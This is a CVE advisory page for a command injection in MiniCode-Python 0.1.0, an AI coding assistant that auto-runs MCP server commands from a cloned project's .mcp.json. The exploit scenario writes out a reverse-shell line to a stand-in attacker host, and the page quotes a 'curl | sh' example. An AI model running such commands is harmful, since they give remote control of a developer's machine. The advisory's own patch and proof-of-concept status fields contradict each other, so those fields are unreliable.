Skip to main content

MiniCode-Python EUVDEUVD-2026-47592

| CVE-2026-16488 LOW
Command Injection (CWE-77)
2026-07-22 cna@vuldb.com GHSA-6mqg-64h7-88w3
1.3
CVSS 4.0 · Vendor: vuldb
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker plants malicious .mcp.json in public repository
  2. Delivery
    Victim is socially engineered to clone attacker-controlled project
  3. Exploit
    Victim invokes MiniCode-Python 0.1.0 in project directory
  4. Execution
    config.py auto-loads project .mcp.json without user consent
  5. Persist
    subprocess.Popen executes injected MCP server command
  6. Impact
    Arbitrary OS commands run as victim developer user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the victim to clone or open an attacker-controlled project directory containing a crafted .mcp.json file that defines malicious MCP server command strings, and then invoke MiniCode-Python 0.1.0 within that directory - the injection triggers automatically at tool startup during project settings loading without any further user action. No authentication or elevated privileges are required from the attacker (PR:N per CVSS 4.0 vector); however, passive user interaction is required (UI:P): the developer must actively run MiniCode in the malicious project context. High attack complexity (AC:H) reflects the social engineering barrier needed to induce this action - the attacker must convince a targeted developer to use their malicious repository. Exploitation is strictly limited to hosts running version 0.1.0; version 0.1.0-rc1 disables auto-loading of project .mcp.json by default. Environments without a project-level .mcp.json present or using the patched release are not affected.

Impact

The vendor-assigned CVSS 4.0 score of 1.3 reflects compounding mitigating factors: high attack complexity (AC:H) requiring social engineering, passive user interaction (UI:P) meaning the victim must actively run MiniCode in the malicious project, and conservative low-impact ratings (VC:L/VI:L/VA:L). The assigned low impact metrics appear inconsistent with the actual capability unlocked by successful exploitation - arbitrary OS command execution via subprocess.Popen running as the victim's user account can read all accessible files, exfiltrate credentials, establish persistence, and fully compromise a development environment, which would typically warrant C:H/I:H/A:H independently of exploitability. This discrepancy should be noted: the raw CVSS 4.0 score understates potential post-exploitation damage. A public proof-of-concept is confirmed (E:P in CVSS 4.0 supplemental vector); however, no CISA KEV listing is present in the available data, indicating no confirmed widespread active exploitation at time of analysis. EPSS data was not provided; exploitation probability is inferred as low given the product's obscure deployment footprint and high social engineering barrier. SSVC assessment would likely yield: exploitation=proof-of-concept, automatable=no (requires victim interaction), technical impact=total (for successful exploitation). Real-world risk is low in aggregate but meaningful for developer-targeted supply-chain attacks against teams using this specific tool.

Exploit ScenarioDerived

An attacker publishes a public GitHub repository containing a crafted .mcp.json that defines an MCP server command pointing to a reverse shell payload (e.g., bash -i >& /dev/tcp/attacker.com/4444 0>&1), then socially engineers a developer into cloning and running MiniCode-Python 0.1.0 within that project directory. Upon startup, load_effective_settings in config.py automatically reads the project .mcp.json and passes the attacker's command string to subprocess.Popen, executing it under the developer's user account with full access to source code, SSH keys, API tokens, and cloud credentials stored on the machine. A public proof-of-concept demonstrating this technique is available via a GitHub Gist referenced in the CVE-2026-16488 NVD entry.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 1.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 22, 2026

Command injection in MiniCode-Python 0.1.0 allows a remote attacker to execute arbitrary OS commands on a developer's machine by embedding malicious MCP server definitions in a project-level .mcp.json file that the tool automatically loads via subprocess.Popen in minicode/config.py. Successful exploitation requires the victim to clone or open an attacker-controlled project and invoke MiniCode-Python within it, making this a developer supply-chain style attack with high complexity and passive user interaction requirements. A public proof-of-concept is confirmed per CVSS 4.0 supplemental metric E:P and the referenced GitHub Gist; the vendor has released version 0.1.0-rc1 to resolve the issue.

RemediationAI

Upgrade MiniCode-Python to version 0.1.0-rc1, available at https://github.com/QUSETIONS/MiniCode-Python/releases/tag/v0.1.0-rc1 and addressed by commit 9d868dc2550f426c6ddf8ee98f30ffe450ca5e32. After upgrading, project-level .mcp.json files are disabled by default and require explicit opt-in via the --trust-project-mcp CLI flag or MINI_CODE_TRUST_PROJECT_MCP=1 environment variable - only set this flag when working with trusted, reviewed project repositories. As an interim workaround for environments that cannot upgrade immediately, avoid invoking MiniCode-Python 0.1.0 within any untrusted or unreviewed project directory, and manually audit the contents of any .mcp.json files in project roots before use; this workaround is manual, error-prone, and should not substitute for patching. No additional compensating controls were identified in the available data.

Affected VersionsENISA

MiniCode-Python 0.1.0

Affected Packages

euvd minicode_python no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

MiniCode-Python is a Python AI coding assistant that integrates external tools via the Model Context Protocol (MCP). MCP server entries in project-level .mcp.json files define command strings that the tool launches as subprocesses. Prior to 0.1.0-rc1, the load_effective_settings function in minicode/config.py unconditionally called read_mcp_config_file on the project .mcp.json path and passed the resulting server command definitions to subprocess.Popen for execution - with no user consent gate and no sanitization. CWE-77 (Improper Neutralization of Special Elements used in a Command) captures this root cause: externally supplied configuration data from a cloned project flowed directly into an OS command executor. The security comment added in the fix commit explicitly warns: 'A cloned project could define a malicious MCP server (e.g. curl | sh).' The fix restructures load_effective_settings and load_runtime_config to require explicit opt-in via --trust-project-mcp CLI flag or MINI_CODE_TRUST_PROJECT_MCP=1 environment variable before loading any project-level MCP configuration. No CPE string was supplied in the input data; affected version is confirmed as 0.1.0 from ENISA EUVD-2026-47592 and the vendor GitHub commit history.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (vuldb) PRIMARY 1.3 LOW
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
vuln.today AI 7.5 HIGH

Arbitrary OS command execution via subprocess.Popen warrants C:H/I:H/A:H; social engineering to open malicious project drives AC:H and UI:R, with no attacker privileges needed.

3.1 AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:N/AC:H/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (vuldb).

CVSS VectorVendor: vuldb

Attack Vector
Network
Attack Complexity
High
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

A vulnerability was determined in QUSETIONS MiniCode-Python 0.1.0. This vulnerability affects the function subprocess.Popen of the file minicode/config.py of the component Project File Handler. Executing a manipulation can lead to os command injection. The attack may be launched remotely. A high complexity level is associated with this attack. It is stated that the exploitability is difficult. The exploit has been publicly disclosed and may be utilized. Upgrading to version 0.1.0-rc1 is able to resolve this issue. This patch is called 9d868dc2550f426c6ddf8ee98f30ffe450ca5e32. It is suggested to upgrade the affected component.

Threat Intelligence Overview

EPSS Score
1.0%
Top 41% exploitable
Prevalence
Rare
obscure open-source Python AI coding tool, minimal enterprise footprint
Social Media
1
Sightings
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC No
EPSS 1.0%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

7
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +6
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy